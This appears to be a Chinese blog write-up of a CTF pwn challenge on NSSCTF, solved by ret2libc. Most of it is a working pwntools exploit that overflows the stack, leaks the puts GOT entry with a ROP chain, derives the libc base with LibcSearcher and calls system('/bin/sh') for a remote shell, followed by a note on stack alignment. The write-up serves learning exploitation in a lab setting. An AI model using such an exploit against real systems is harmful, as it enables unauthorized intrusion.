做完【PWN · ret2libc】[2021 鹤城杯]babyof_Mr_Fmnwon的博客-CSDN博客之后,又做了一道几乎完全类似的。exp编写有点语法小问题,但是整体无误。很兴奋!!
前言
和【PWN · ret2libc】[2021 鹤城杯]babyof_Mr_Fmnwon的博客-CSDN博客一样,是一道非常典型(指攻破过程)的ret2libc题目。通过泄露got表、libc偏移等,构造system('/bin/sh')
由于exp的思路在上面那篇博客讲的很清楚了,这里就不过多赘述,直接上exp。
一、题目
我们需要用到puts来泄露got表内容。可以先在vul的gets处,ret2text调用gift执行puts,并将外层return回vul函数,再次进行栈溢出攻击。第二次泄露got表内容........构造system('/bin/sh')。然后第三次payload,执行system语句。实际上,第一二次栈溢出可以合并为一个,因为本身就是调用puts函数,过程中会填写got表项。
二、exp
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
vul_addr=0x4006ba
gift_addr=0x4006a9
pop_ret_rdi=0x400763
puts_plt=0x400520
puts_got=0x601018
ret=0x400509
io=remote("node1.anna.nssctf.cn",28526)
#excute puts
#payload1=b'a'*(0x10+8)+p64(gift_addr)+p64(vul_addr)
#io.sendline(payload1)
#io.recv()
#leak got table address
payload2=b'a'*(0x10+8)
payload2+=p64(pop_ret_rdi)+p64(puts_got)
payload2+=p64(puts_plt)
payload2+=p64(vul_addr)
io.sendline(payload2)
puts_real_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_real_addr))
#calculate libc-base
from LibcSearcher import *
libc=LibcSearcher('puts',puts_real_addr)
libc_base=puts_real_addr-libc.dump('puts')
print("puts_real:",hex(libc.dump('puts')))
#======================说明=========================
#这里+0x40是因为nssctf没给libc附件,用LibcSearcher时版本略有差别
#差别体现在字符串'/bin/sh'后移了0x40,所以这里予以修正
bin_sh_addr=libc_base+libc.dump('str_bin_sh')+0x40
print("bin_sh:",hex(libc.dump('str_bin_sh')+0x40))
#===================================================
system_real_addr=libc_base+libc.dump('system')
print("system_real:",hex(libc.dump('system')))
#call system('/bin/sh)
payload3=b'a'*(0x10+8)
#payload3+=p64(ret)
payload3+=p64(pop_ret_rdi)+p64(bin_sh_addr)
payload3+=p64(system_real_addr)
payload3+=p64(vul_addr)
io.sendline(payload3)
#interactive
io.interactive()
总结
关于payload中无端添加ret的原因:
其实这是因为system被调用时,其中有一个汇编指令,要求栈顶16字节对齐,而我们为了能够正常执行跳转,又需要栈能够调整其高度,就可以通过ret+ret+...+addr的方式,这样首先是调整了输入的个数,其次ret到下一个ret,反复执行实则是“空转”,相当于pop了当前的栈元素,不起到任何其他作用。最后还是跳到了addr的位置。